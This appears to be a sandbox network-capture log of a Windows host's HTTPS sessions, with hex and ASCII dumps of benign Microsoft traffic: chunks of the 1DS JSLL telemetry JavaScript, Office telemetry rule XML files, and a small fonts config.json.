2024-11-24 04:12:02 UTC	868	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:02 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241124T041202Z-178bfbc474b9xljthC1NYCtw94000000058000000000hch2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:02 UTC	15516	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-24 04:12:02 UTC	16384	IN	Data Raw: 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d 74 28 31 31 29 5d 3d 22 49 50 72 6f 6d 69 73 65 22 29 2c 61 2e 74 6f Data Ascii: &&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[mt(11)]="IPromise"),a.to
2024-11-24 04:12:02 UTC	16384	IN	Data Raw: 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 59 28 65 2c 22 6c 69 73 74 65 6e 65 72 73 22 2c 7b 67 Data Ascii: on(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,function(e){Y(e,"listeners",{g
2024-11-24 04:12:03 UTC	16384	IN	Data Raw: 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d 3b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 41 5b 74 65 5d 28 65 29 2c Data Ascii: hComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16};function c(){A[te](e),
2024-11-24 04:12:03 UTC	16384	IN	Data Raw: 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 4e 6c 28 29 7b 72 65 74 75 72 Data Ascii: fined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return null}function Nl(){retur
2024-11-24 04:12:03 UTC	16384	IN	Data Raw: 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 65 29 7b 76 61 72 20 6f 3d 74 68 69 73 2c 63 3d 7b 7d 3b Data Ascii: me failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=function(a,e){var o=this,c={};
2024-11-24 04:12:03 UTC	16384	IN	Data Raw: 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 65 54 61 67 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 Data Ascii: ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPageTags=function(e,t){var
2024-11-24 04:12:03 UTC	16384	IN	Data Raw: 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d 65 7c 7c 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 Data Ascii: otype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].name\|\|~t[n].name.indexOf
2024-11-24 04:12:03 UTC	16384	IN	Data Raw: 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 73 70 6c 69 63 65 22 2c 44 67 3d 22 74 6f 4c 6f 77 65 72 43 61 73 65 Data Ascii: en",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="splice",Dg="toLowerCase
2024-11-24 04:12:03 UTC	16384	IN	Data Raw: 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 65 2c 74 29 3a 28 72 3d 31 2c 69 3d 32 30 2c 34 3d 3d 3d 6e 26 26 28 Data Ascii: [lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(e,t):(r=1,i=20,4===n&&(

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.7	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:02 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:02 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 87533e62-501e-008f-028c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041202Z-174c587ffdf8fcgwhC1TEBnn7000000003yg00000000t4sc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:02 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.7	49827	184.30.17.174	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:02 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-24 04:12:02 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0SyaoYgAAAACHM3u5nQtYS605XTu+5FyaTE9OMjFFREdFMDIxMgBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=192050 Date: Sun, 24 Nov 2024 04:12:02 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-24 04:12:02 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.7	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:02 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:02 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:02 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: be1d1f49-601e-003d-540f-3e6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041202Z-178bfbc474bpscmfhC1NYCfc2c000000042g000000004u74 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 04:12:02 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.7	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:02 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:03 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:02 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 04c26370-f01e-0003-1e65-3d4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041202Z-15b8b599d88wn9hhhC1TEBry0g00000003vg00000000n01r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 04:12:03 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.7	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:02 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:02 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 7e238ec3-901e-00ac-3dfe-3cb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041202Z-178bfbc474btvfdfhC1NYCa2en00000005n0000000000qxt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:03 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.7	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:02 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:03 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 16dd49bc-d01e-0066-804e-3cea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041203Z-178bfbc474bwlrhlhC1NYCy3kg00000005bg00000000hcc5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
